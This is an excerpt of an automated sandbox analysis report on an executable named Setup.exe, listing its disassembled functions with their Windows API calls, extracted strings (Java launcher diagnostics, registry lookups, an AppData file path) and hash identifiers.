Part of subcall function 00401EA0: _stricmp.MSVCR90(004018FF,?,00000000,00000001,?,004023F3,004018FF,?,00402680,00000000), ref: 00401EBC
Part of subcall function 00401EA0: free.MSVCR90 ref: 00401EF0

realloc.MSVCR90 ref: 00402410
GetProcAddress.KERNEL32(00000000,00000002), ref: 0040249D
IsBadReadPtr.KERNEL32(?,00000014), ref: 004024BC
SetLastError.KERNEL32(0000007F), ref: 004024E1
SetLastError.KERNEL32(00000008), ref: 004024F1

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: ErrorLastRead$AddressProc_stricmpfreerealloc
String ID:
API String ID: 3829280425-0
Opcode ID: c1f4c7903eaecf4131432c3de378eb7ae882ce9fef0bb03a0e17263d17549ce1
Instruction ID: e06c3e0f55c1ce49f3d5eeedbd59607cc003002fbce32c9cbadbe966566b4b56
Opcode Fuzzy Hash: c1f4c7903eaecf4131432c3de378eb7ae882ce9fef0bb03a0e17263d17549ce1
Instruction Fuzzy Hash: 4941C6723012059BD7149F14ED88B6BB364FB80365F14417BF906E73D1E7B8E8158A59

Function 00401D60 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

undefined symbol %s -> exit(-1), xrefs: 00401DD1
undef symbol, xrefs: 00401DC3

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: undef symbol$undefined symbol %s -> exit(-1)
API String ID: 310444273-3880521481
Opcode ID: f28070308f0c5a66d053ef89d1ff9b282d5ce64fd2970f6b05dc0e2cfe902d45
Instruction ID: ce5dc5e057ab4e2a43885ee57fcd922f747e18a9ab2ef1d2ec3eba6c30d75da0
Opcode Fuzzy Hash: f28070308f0c5a66d053ef89d1ff9b282d5ce64fd2970f6b05dc0e2cfe902d45
Instruction Fuzzy Hash: 2B01D872900201ABE7106B68FD44A9773E8DFC0355F14443FF844E62E0E63CD8D18A69

Function 00401660 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strncpy.MSVCR90 ref: 004016BA
GetFullPathNameA.KERNEL32(00406580,00000104,00406580,004019BA,6F8EF18A,?,004019BA), ref: 004016E7

Strings

C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin, xrefs: 00401661, 004016A2, 004016B0
^@, xrefs: 00401684
^@, xrefs: 0040169B

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: FullNamePathstrncpy
String ID: ^@$ ^@$C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin
API String ID: 567410384-4287253745
Opcode ID: cd1a6e09d00ee151c9fa4b3db23d9f46a47509955db2e1ef7978f412654ecde5
Instruction ID: 0003fd1b2bd6f8a6e0c4509e74986bfdb13ef7a1d1aa951a95ab66f08de7795f
Opcode Fuzzy Hash: cd1a6e09d00ee151c9fa4b3db23d9f46a47509955db2e1ef7978f412654ecde5
Instruction Fuzzy Hash: 2D01B5B14042409FC310CB24FC1CB977794E744300F99487BE48AFB2D4E77A55288B9D

Function 004017D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCR90 ref: 004017FE
free.MSVCR90 ref: 004018C5

Strings

path, xrefs: 00401894
,R@, xrefs: 0040183A
no mem for late sys.path, xrefs: 0040180D

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: freemalloc
String ID: ,R@$no mem for late sys.path$path
API String ID: 3061335427-4293072127
Opcode ID: c4401dd601d074f02072bd3f5982eeff70958d79786ea3440c8d628079098a5a
Instruction ID: e471e226a36cf7089748808a910ea1bc09ef1ea7ee1f164221155ef36efc28ae
Opcode Fuzzy Hash: c4401dd601d074f02072bd3f5982eeff70958d79786ea3440c8d628079098a5a
Instruction Fuzzy Hash: 013149326005061BC70656386C285B77BD5DF95344318817AFC8BEB3A1EE36DD0A87C8

Function 00401F60 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004,00000000,?,00000000,?,?,00402665,?,?,00000000), ref: 00401FB2
memset.MSVCR90 ref: 00401FBB
VirtualAlloc.KERNEL32(?,?,00001000,00000004,00000000,?,00000000,?,?,00402665,?,?,00000000), ref: 00401FD0
memcpy.MSVCR90(00000000,e&@,00000000,?,00402665,?,?,00000000), ref: 00401FE0

Strings

e&@, xrefs: 00401FD5, 00401FDE

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: AllocVirtual$memcpymemset
String ID: e&@
API String ID: 2542864682-73339501
Opcode ID: b1dbb98a8a60990327667ccfc5cfeecd8a2b1543ff788c04fafa38dddfff8afb
Instruction ID: cabd134ca6f8edb0e33f6498aa80dca311541fbb15500bccbc1fa9ad8072609d
Opcode Fuzzy Hash: b1dbb98a8a60990327667ccfc5cfeecd8a2b1543ff788c04fafa38dddfff8afb
Instruction Fuzzy Hash: C61108B16043019FD314DF59CD80F2AB3E5EF88754F15482EF685AB391D674E841CB65

Analysis Process: Setup.exePID: 7904, Parent PID: 7784COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.4%
Total number of Nodes:	1724
Total number of Limit Nodes:	27

Executed Functions

Function 00007FF70C251DA4 Relevance: 59.8, APIs: 13, Strings: 21, Instructions: 294
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF70C2565EC: InitCommonControlsEx.COMCTL32 ref: 00007FF70C256611

wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C251E72
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C251E9A
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C251EB4
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C251EC7
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C251EDA
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C251EF4
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C251F07
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C251F1A
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C251F26
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C251F54
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C251F69
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C251F8B
sprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C252175

Strings

ergo_policy:, xrefs: 00007FF70C251F1F
DEFAULT_ERGONOMICS_POLICY, xrefs: 00007FF70C251F3B
off, xrefs: 00007FF70C251E7E
fullversion:%s, xrefs: 00007FF70C251F00
Command line args:, xrefs: 00007FF70C251F62
-Dsun.java.command=, xrefs: 00007FF70C2521D0, 00007FF70C2521E8
dotversion:%s, xrefs: 00007FF70C251F13
-Dsun.java.launcher.diag=true, xrefs: 00007FF70C251F9E
argv[%d] = %s, xrefs: 00007FF70C251F7E
-Dsun.java.launcher=SUN_STANDARD, xrefs: 00007FF70C25223C
ALWAYS_ACT_AS_A_SERVER_CLASS_MACHINE, xrefs: 00007FF70C251F44
javargs:%s, xrefs: 00007FF70C251EA6
-Djava.class.path=%s, xrefs: 00007FF70C252168
CLASSPATH, xrefs: 00007FF70C2520C0
Launcher state:, xrefs: 00007FF70C251E6B
%ld micro seconds to LoadJavaVM, xrefs: 00007FF70C252070
launcher name:%s, xrefs: 00007FF70C251ED3
debug:%s, xrefs: 00007FF70C251E93
program name:%s, xrefs: 00007FF70C251EC0
NEVER_ACT_AS_A_SERVER_CLASS_MACHINE, xrefs: 00007FF70C251F4D
javaw:%s, xrefs: 00007FF70C251EE6

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: wprintf$CommonControlsInitsprintf
String ID: debug:%s$dotversion:%s$ergo_policy:$fullversion:%s$javargs:%s$javaw:%s$launcher name:%s$program name:%s$%ld micro seconds to LoadJavaVM$-Djava.class.path=%s$-Dsun.java.command=$-Dsun.java.launcher.diag=true$-Dsun.java.launcher=SUN_STANDARD$ALWAYS_ACT_AS_A_SERVER_CLASS_MACHINE$CLASSPATH$Command line args:$DEFAULT_ERGONOMICS_POLICY$Launcher state:$NEVER_ACT_AS_A_SERVER_CLASS_MACHINE$argv[%d] = %s$off
API String ID: 3782895439-2613195925
Opcode ID: 35aa27bf56d7e74ef57a47c8dcd04c09e893ff32923b0b57d3ae2ec0596db681
Instruction ID: cd17c1e67e92c39a4dc91dcff8c29963ab44025bbb2ff9f02b0b938f1a60d157
Opcode Fuzzy Hash: 35aa27bf56d7e74ef57a47c8dcd04c09e893ff32923b0b57d3ae2ec0596db681
Instruction Fuzzy Hash: 37D14821A0964395EA10FB19EC912FAE760AF85784FC04132EA4D47FA6DF3DE959C720

Function 00007FF70C25637C Relevance: 29.9, APIs: 7, Strings: 10, Instructions: 114
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE ref: 00007FF70C2563D3
RegOpenKeyExA.ADVAPI32 ref: 00007FF70C256482
RegCloseKey.ADVAPI32 ref: 00007FF70C256429

Part of subcall function 00007FF70C256630: MessageBoxA.USER32 ref: 00007FF70C2566D2

wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C256502
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C25651A
RegCloseKey.ADVAPI32 ref: 00007FF70C256526
RegCloseKey.ADVAPI32 ref: 00007FF70C256531

Part of subcall function 00007FF70C256560: RegQueryValueExA.ADVAPI32 ref: 00007FF70C256594
Part of subcall function 00007FF70C256560: RegQueryValueExA.ADVAPI32 ref: 00007FF70C2565C6

Strings

Error: Failed reading value of registry key:%s\CurrentVersion, xrefs: 00007FF70C256418
MicroVersion, xrefs: 00007FF70C2564EB
CurrentVersion, xrefs: 00007FF70C256405
Failed reading value of registry key:%s\%s\JavaHome, xrefs: 00007FF70C2564C5
Error: opening registry key '%s', xrefs: 00007FF70C2563E2, 00007FF70C256494
JavaHome, xrefs: 00007FF70C2564A7
Error: Registry key '%s'\CurrentVersion'has value '%s', but '%s' is required., xrefs: 00007FF70C256457
Warning: Can't read MicroVersion, xrefs: 00007FF70C2564FB
Version major.minor.micro = %s.%s, xrefs: 00007FF70C256513
Software\JavaSoft\Java Runtime Environment, xrefs: 00007FF70C2563B9

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: Close$OpenQueryValuewprintf$Message
String ID: CurrentVersion$Error: Failed reading value of registry key:%s\CurrentVersion$Error: Registry key '%s'\CurrentVersion'has value '%s', but '%s' is required.$Error: opening registry key '%s'$Failed reading value of registry key:%s\%s\JavaHome$JavaHome$MicroVersion$Software\JavaSoft\Java Runtime Environment$Version major.minor.micro = %s.%s$Warning: Can't read MicroVersion
API String ID: 1004157669-1407590046
Opcode ID: c08fc69ab7d0758b2109dd942bfb8d28955c23fcd95e4411def2c2e65afa633d
Instruction ID: 124ee9bb6197033b840e84e1e34e59cf9a919b068e87a88c9936001b0be9d3e2
Opcode Fuzzy Hash: c08fc69ab7d0758b2109dd942bfb8d28955c23fcd95e4411def2c2e65afa633d
Instruction Fuzzy Hash: 04513921A28A8391EA10FB51EC915EAA360FF84794FC01132EA4E57F99DF3CD549C760

Function 00007FF70C251000 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C251031
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C251058
GetCommandLineA.KERNEL32 ref: 00007FF70C25106C

Strings

1.8, xrefs: 00007FF70C251104
wwwd_args[%d] = %s, xrefs: 00007FF70C25104A
Windows original main args:, xrefs: 00007FF70C25102A
_JAVA_LAUNCHER_DEBUG, xrefs: 00007FF70C251019
1.8.0_381-b09, xrefs: 00007FF70C25111F

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: wprintf$CommandLine
String ID: 1.8$1.8.0_381-b09$Windows original main args:$_JAVA_LAUNCHER_DEBUG$wwwd_args[%d] = %s
API String ID: 921100755-1407750259
Opcode ID: d8f7644c556615631eb1845b4a037e8a21cf320a5f394ecba67ce57f01b19ca9
Instruction ID: 61a76108cf526dcf5d90c38475ea70509ca5e60d7ac04a7d7a3699f74eb699ce
Opcode Fuzzy Hash: d8f7644c556615631eb1845b4a037e8a21cf320a5f394ecba67ce57f01b19ca9
Instruction Fuzzy Hash: 3F317731A09B8385EB10FB55E9913BEE361AF84B84F904136DA4D43BA6DF7CE0648720

Function 00007FF70C25A7A4 Relevance: 6.1, APIs: 4, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF70C25A7B3

Part of subcall function 00007FF70C25ACBC: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF70C25ACDE

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF70C25A7C8
__scrt_release_startup_lock.LIBCMT ref: 00007FF70C25A836
__scrt_get_show_window_mode.LIBCMT ref: 00007FF70C25A889

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 29b13c7cf00c402d89aedddd03e07bd6005fa31edf51c8e0e98308c6cd2c8403
Instruction ID: 2ff65a25fe195126566e66dbc78446cb4eb2d059bcfe0a76c932adfe12146aa3
Opcode Fuzzy Hash: 29b13c7cf00c402d89aedddd03e07bd6005fa31edf51c8e0e98308c6cd2c8403
Instruction Fuzzy Hash: 0F313620E09207C6FA54B7649D672BAA290AF44744FC44235EB4D0BFD3DF3DA806D271

Function 00007FF70C256630 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32 ref: 00007FF70C2566D2
fwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C256716

Strings

Java Virtual Machine Launcher, xrefs: 00007FF70C2566C6

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: Messagefwprintf
String ID: Java Virtual Machine Launcher
API String ID: 1438246221-898708411
Opcode ID: 7f12cdf1833f9ca9ebd8898dfd4ec3a12a6f9da31f53ff1fcf5cdf72b08ebb12
Instruction ID: b7112914e540b1a7fffa89e6fb47e727d43a1549b69e1d6e5059890af264ff82
Opcode Fuzzy Hash: 7f12cdf1833f9ca9ebd8898dfd4ec3a12a6f9da31f53ff1fcf5cdf72b08ebb12
Instruction Fuzzy Hash: 0821A432A0874241E710BB65EC563BEA694AF99BD4F84423AEF8D47B96DF3CD5058310

Function 00007FF70C2670F0 Relevance: 4.6, APIs: 3, Instructions: 92
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C267121

Part of subcall function 00007FF70C2676C0: GetDriveTypeW.KERNEL32 ref: 00007FF70C267784

CreateFileW.KERNELBASE ref: 00007FF70C26715F
CloseHandle.KERNEL32 ref: 00007FF70C26719D

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: CloseCreateDriveFileHandleType_invalid_parameter_noinfo
String ID:
API String ID: 2907017715-0
Opcode ID: a33ca38b42f5ad457585b92045b84c00a2e9d242f388010a2427c9583d10d8ac
Instruction ID: 2eb4553d72a11510d1acf5e1c4bbc3d00d7195eae52b853cdc4ba358dd13ca2c
Opcode Fuzzy Hash: a33ca38b42f5ad457585b92045b84c00a2e9d242f388010a2427c9583d10d8ac
Instruction Fuzzy Hash: 3F31B472D1878386E650AF29AD00269B660FF95BA4F544335EAAC03FD1DF3CE1A18774

Function 00007FF70C25FA58 Relevance: 4.5, APIs: 3, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF70C25FA57), ref: 00007FF70C25FA81
TerminateProcess.KERNEL32(?,?,?,00007FF70C25FA57), ref: 00007FF70C25FA8C
ExitProcess.KERNEL32 ref: 00007FF70C25FA9B

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 799936e69fd531bd261ff7b62f03790f280960af208326ac74684e5982d33f97
Instruction ID: bf36902e62f1e118dc138bff74a165d263a463bb5ec1bd05f3c9b5df014b63b8
Opcode Fuzzy Hash: 799936e69fd531bd261ff7b62f03790f280960af208326ac74684e5982d33f97
Instruction Fuzzy Hash: 16E04F24F0430342EA54BB799ECA27A63A2AF84701F508538CD0E02B52DF3DE4988632

Function 00007FF70C25F99C Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF70C25F9BB

Part of subcall function 00007FF70C25FAA4: GetModuleHandleExW.KERNEL32 ref: 00007FF70C25FAC0
Part of subcall function 00007FF70C25FAA4: GetProcAddress.KERNEL32 ref: 00007FF70C25FAD6
Part of subcall function 00007FF70C25FAA4: FreeLibrary.KERNEL32 ref: 00007FF70C25FAF3

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: cb96273a2151a35e2a73fd447c71a94cb89efb4fccae3b55bb54ce2bf4947032
Instruction ID: aa9b58f67d39289ffd29021823d8652b84f964ff2898e825b0cbb450d045e131
Opcode Fuzzy Hash: cb96273a2151a35e2a73fd447c71a94cb89efb4fccae3b55bb54ce2bf4947032
Instruction Fuzzy Hash: A1215736E047428AEB10EFA8D8442BE73A4EF48748F84453AD71D02F85DF78D485CBA1

Function 00007FF70C26F6A0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C26F6CB

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7d12a3a9cd8618854f03c5d57a39b0879708293af1b00204eadaf822a425f7a8
Instruction ID: bd2a17739059f0637e55dedc8d2e6d610e101e1c7e1ce5661e4af83970b6822c
Opcode Fuzzy Hash: 7d12a3a9cd8618854f03c5d57a39b0879708293af1b00204eadaf822a425f7a8
Instruction Fuzzy Hash: 0611603691D64382FA10AB94BE50269F264EF80740F990135D69D47FA2DF3CF8118B30

Function 00007FF70C26B4E8 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF70C26CCC5,?,?,00000000,00007FF70C266825,?,?,?,?,00007FF70C26A502,?,?,00000001), ref: 00007FF70C26B53D

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 355c47a1c2388d09e0757d78d861c5675caf979fd987a81e8f0d11b9d98ca172
Instruction ID: 7e2029a117cfb4e6e3933b1fb4b226e7c9a5e30d3b2ab30f96e5bb7be644c482
Opcode Fuzzy Hash: 355c47a1c2388d09e0757d78d861c5675caf979fd987a81e8f0d11b9d98ca172
Instruction Fuzzy Hash: 71F0F954B0970742FE54B6659D552F5E2945F84B80F8C4530D90ED6FD2EF2CE485A230

Non-executed Functions

Function 00007FF70C2621D8 Relevance: 45.6, APIs: 23, Strings: 2, Instructions: 1875COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF70C262F10
memcpy_s.LIBCPMT ref: 00007FF70C263150
memcpy_s.LIBCPMT ref: 00007FF70C2634A0
memcpy_s.LIBCPMT ref: 00007FF70C2634DB
memcpy_s.LIBCPMT ref: 00007FF70C263575
memcpy_s.LIBCPMT ref: 00007FF70C26368F
memcpy_s.LIBCPMT ref: 00007FF70C26373A
memcpy_s.LIBCPMT ref: 00007FF70C263785
memcpy_s.LIBCPMT ref: 00007FF70C263852
memcpy_s.LIBCPMT ref: 00007FF70C2639DB
